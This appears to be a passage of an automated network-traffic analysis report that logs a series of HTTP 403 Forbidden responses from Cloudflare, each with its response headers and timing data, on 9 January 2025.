Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:20 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GK1jf%2FWM2x%2FYVNa3nzSjWofgpYQ95FCdpaYDSjNk9G5gT9%2FiqndnoqtfSuYg3wHt0hF%2BTLQDpI4ejE5fUv5mrH593ZHX0l0d%2Bz7I77Swwrj40nzWE%2BxbocwMgQhpIW%2BbPHDka46wONVrdf8M"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6d9ec374394-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1662&min_rtt=1651&rtt_var=642&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1676234&cwnd=168&unsent_bytes=0&cid=327a9f1479895c4d&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:21 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CJhJbCh75k1WWengD1xi0WEqW9k2RtwhbSycXI0krPopxfzhTURLZjpHG9Agm3uK7XMYQO9B0tZ39saDcE60Vl%2F08x1Q8tlZ4fRbn6XR8S5byAJqiY93Kqsv8%2BTqWBDia%2BXWHdCHPp92XTfq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6ddc83c41ef-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1726&rtt_var=656&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1656267&cwnd=198&unsent_bytes=0&cid=09d84bbf582ad30e&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:21 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W6a6AbE1SKTtDJW0IrlIx1y%2F0yQmZvH4DharAXRRiAWIO4U3KCesjz1nGi%2FVGG7KDc4dTZ7QECQPGs6k1N8rK%2FB5NYGeU5ZaLBN3up%2F1nuxzffc%2FHc56hHrBzpNAOx4npNghKA2NeMy0EbYs"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6e1ae7c42bc-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1867&min_rtt=1687&rtt_var=992&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=933802&cwnd=225&unsent_bytes=0&cid=6fae57c129de5cb7&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:22 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RCGiKF7BiVJp1x7pQHHOWJZWJ2HAKedTa%2BBblDwRvSXbQj490ud%2FGDHSAhmaS%2BCh51rDv8hCA5dHk3jwVaz8qgkx3z6%2BhdaqgPzY7K123OjPgbsmy3GxstDJg4Lq%2BlZ338k5Y9HRgYOV42tW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6e58b1c41f2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1771&min_rtt=1765&rtt_var=674&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1610590&cwnd=231&unsent_bytes=0&cid=9afdb3e2d14a6ab2&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:23 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2DHEWDcAoLxkX7Ca3lXrwDkEet%2FwFb7oLrZ0Z6vGLMjWJtXw7wi1SzW7IQMPXTxlfS98bnQi8XUo%2F2jXpd5%2F2k0903E0SYKRjOJ7ZLsUZoZu9Z%2FPqAVrGaYaZ3Y2qm%2BqoNGmi1tI%2Buqk7h13"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6e95afcf5f8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1505&min_rtt=1485&rtt_var=597&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1771844&cwnd=107&unsent_bytes=0&cid=d8cab47f7bdcc46b&ts=146&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:23 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=23terzVRganFqEAzwgB2Bu0BD68XNWLDy5ZcXXdGXQu7EqPQf%2F1lOusdfIlsoJVESDs5oTi7vnGo4A7Ge6ll8ECnzBrmaYnBIYcaKRkQctbjRYsqhm1qrvus9579RdwYotjlhYxk2qGT4rDe"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6ed0962423a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1770&rtt_var=678&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1649717&cwnd=170&unsent_bytes=0&cid=3b6213dd8b8a6500&ts=125&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:24 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UibVQ0liQvTB3YEqa2MFLpx61%2FLYuYq01bDEY120WL3QtZN4My42Ofmv%2B1KBVPLAM3HKBydIViTu4kYCReWqyxyHt6UNvHnYNT%2Bs4smSKquLYaP868evpHeN3AJbjR07A4VoGimd%2FqBxFNQu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6f0f94c4331-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1533&min_rtt=1518&rtt_var=599&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1780487&cwnd=235&unsent_bytes=0&cid=d680ea13deddf962&ts=154&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:24 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3DtJU1C2PKRiuxe704q9cdt%2BuaFJWfzN2FiO941%2Bxpz6K0usiEAFkZsRvqr5KiJTF%2Bt0kmRKK6Ih93F0XhkWhJPrnhRJMnU1UGjY2SHdVq80PB3a%2FUv6%2BS%2BWHK%2B1AnZXTQy1bm7jpmHMmyUE"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6f4cd437c7e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1901&min_rtt=1894&rtt_var=724&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1495901&cwnd=228&unsent_bytes=0&cid=a5beda3357680c2b&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:25 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZenENmJa23z1RGcqsXonKHj5fRPYXUCblmV8nqE7DZi3U8AagDqHwfeN8wBCkjUTJXstqONC%2FrUbvFWuFDyzYhk08TDhjvbZ9Kn2L16XFJJEcZ9cqgRW4ifS2xYLa%2BZnNClrfy3tl9oaaMFY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6f88da2427c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1711&min_rtt=1709&rtt_var=646&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1685912&cwnd=246&unsent_bytes=0&cid=fac46e614ad89cda&ts=143&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:26 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ZTaj29UeatnusvwSsNl%2B7cjFg0r19Zwj6OPqfT%2BDOqvEMfpLksD1ghuikkvnZkLlCQ7G5KQvooK5vddkp6cL%2FrfYhqCbuYrM8YkGR5H7HTQ2G%2FG0SHOtnr%2FWaLkN4jDo3oM1i8ht%2F4igm3I"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6fcdda61895-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1701&min_rtt=1691&rtt_var=655&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1645070&cwnd=185&unsent_bytes=0&cid=98539368e4d2df02&ts=206&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:26 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mi4PjBxf1%2BAMy0KGW3y0eJPuMzLgMao650Z7Ez3fxpmmE6rE7GZMZ4sXhPiFXDOzvKE0l28uy2uuOyxYmi02fkskyROQh9bgtpnZVcovur08FjrUPDOTQwsQNoBFGLc38EgX%2BY7nodAYF4KB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7009d8a432c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2062&min_rtt=2050&rtt_var=792&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1360671&cwnd=193&unsent_bytes=0&cid=eaeb8f34c6373502&ts=132&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:27 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rfIZ%2BaVIG48rpboQqYFr8FXHNwLE0YXI9vocqebdO4PYbhPpe3hD7jmM9SBjyDIjnFNG2akw%2FFhmx%2FAeSNUuR66Y9IJ2oMMhHRc%2F11gx9ceU%2Bccdfnzk9B5gCTFEJQ71datnvKGPmysrz0pa"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b704fe90426a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1684&rtt_var=641&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1693735&cwnd=225&unsent_bytes=0&cid=646dba275759aa1d&ts=235&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:28 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CcUxDB9HrPP5bcnbzOpjYqfJCanFXE2M6iY7rp%2BqA23Zkmiz2iljk%2Bc1ziXz8JwgGYDHH68rrHsQHFUz6afMHYlEdAp3m0z13SGtq%2B%2FDKcc9afF2wpVbL%2F8X8Li44WLNvRPxaway3uoS84S9"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b708dab142bb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1740&min_rtt=1737&rtt_var=654&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1681059&cwnd=193&unsent_bytes=0&cid=bdb0ee2476a314af&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:28 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wc37U3pRhbXmgEnAW9RqWOkpifU2w8%2FonAezgv87P0OPJWYR%2BQzB2gkOGqUHigujC1tKOjFQZc2McjUFpbOBAh3a5GJ%2Fkx1Mt%2FwKkH9E2awVFlwkb5tHGDuKAWvOjJ%2FHLDSV9dmV8tvQV0Rs"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b70cacb142ee-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2290&min_rtt=2271&rtt_var=865&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1285777&cwnd=218&unsent_bytes=0&cid=2560c60efcd45eeb&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:29 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O25C291HVbb6%2Be2cEcswjQojSPUEhXJTSJ2qsdlZ3YOfmQgm6Yr%2Bt0iLXhekTE9RgnLI8fL5QhvEZ2QAwtfh%2FaQB7zXndqDW0mHtEg2Vh57hEjOLdyCrnZiDKi4x1z%2Fv2frDbN%2BS%2FEhuybGx"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7106fd442d8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1751&rtt_var=667&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1626740&cwnd=222&unsent_bytes=0&cid=afcccd592605d958&ts=136&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:29 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p%2BuRusq2Q0HHmQ9bfFNIWlwsKtkFrkDQ3VzxKdO0S93DFY6xmxDJICvnfifipb%2BLtQ8DFpBg37LZvaHxLt8jrCzjS396E2WpoDHZimf8yLkbYFLvsR69jcy0HD34NLvSidiE22AvE9R6bFTQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7143942efa1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2018&min_rtt=1983&rtt_var=814&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1289752&cwnd=165&unsent_bytes=0&cid=43cbdd1c39e2efb9&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:30 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tcWsg%2Bkc8AWafzSntTwNJjy5LLPJ3wcEUb0N1LQdfBqXjHcuUsrza%2B%2BJdzeqsH9%2F6oAoS88SubeugqhoPfeMrgGJmid7Laje8%2BAakYUwNAN0QqLTA01tyXxuvz3d89HF%2BMdsZLKe9Y4aRipC"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b717eae1f3bb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1467&min_rtt=1467&rtt_var=551&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1986394&cwnd=82&unsent_bytes=0&cid=413e7a78f55388fa&ts=133&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:31 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NI5p0pG0CxdioTbOtLlZxeRPlbu3oBd1L5nNCcpXMf%2Fq4G%2FGKyKmWu4gmFTQajidXcwhySBLi3LinXtt%2Br5FJ8oyqE086%2F7Vrg0fLs53U2mptnThevb2uyhvjyA%2FFDQvJk44MZgfOkCznDIS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b71bdf8e18ea-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1593&min_rtt=1593&rtt_var=796&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4250&recv_bytes=704&delivery_rate=234237&cwnd=244&unsent_bytes=0&cid=bd49442c68195ae9&ts=160&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:31 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AtgFksRxS5Q4lrs3SYpGqoTffLRvD8lwNRDM6%2B88MgVIxWuM8dJtf59t2qEXzGgeDzg1xAFw%2B9WgXIvqfICqv867xCyyrvjZZwNjL0o%2BoNGb2HMRPifZJB6JjC4KygGqaAGCuMZH0WtcN8SD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b71f98b57cb4-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2038&min_rtt=2037&rtt_var=766&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1426477&cwnd=232&unsent_bytes=0&cid=e359549a92c1dd1d&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:32 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XY%2FwwFL70PgL4NwkdJONWtrBQKTugORFMf0eSgJDq1urVFP1Qwbyo%2BBQ5ykSYhYFj%2F62ClkuvixmRmQlOJ3%2BqEDcEw6b7xYvE3WxbIqzpOj9E%2BaAILgwRlvlsej%2BekDgiA2w3UQiftakAOAF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7238bac4370-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2336&min_rtt=2321&rtt_var=901&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1195251&cwnd=233&unsent_bytes=0&cid=7c18c22797017702&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:32 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9YPUrESSzDIhVtVtGBRKiHvstHkAPxA6CXcN1SzJ7AC8BqiXh4TIuvC7GG%2FbnRrd2yLScOt0Nk8wMlGdUpRzAlolyED3p7qjhLToKZT0P3VSFuTet25%2BSBgJKy5D8TKnslpDjFgJ82LU%2B8WK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7273d7878ed-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2003&min_rtt=1981&rtt_var=759&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1474003&cwnd=182&unsent_bytes=0&cid=a22970e1c3cb4274&ts=132&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:33 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rH3JsFXApD6PK5K4T1OyIBcFG4GfWiP8fEbEzAMGP8un3ug5yNbntPqFkaeewyP7Lf4MEQdteqc%2F0lkgmt7ub2%2FV9dxw4KtnjxseVHJ5i3Ez7%2FtYn0DOTYmRN3o%2FWqgwm8LsEXFVLxR1NwVf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b72b1d5c8c45-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1969&min_rtt=1965&rtt_var=745&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1460730&cwnd=219&unsent_bytes=0&cid=8785b5aaf76abf36&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:34 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9OPqie2nSIrAjkt0yzGCQhZYjpqDdH96jY6mbxTRiB75V%2FuSvIpBwC1jqy55Bj3b1nPZ5mEau%2BF9rVsalKvzNpB2kxAOjtGGRVnlvoBl9W8kzCiwo0SDe8X3QwOfYHeUoWX2Hz%2BmkiznN6cv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b72ece35726e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1957&min_rtt=1948&rtt_var=750&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1440552&cwnd=224&unsent_bytes=0&cid=fe3b037447690aa0&ts=131&x=0"
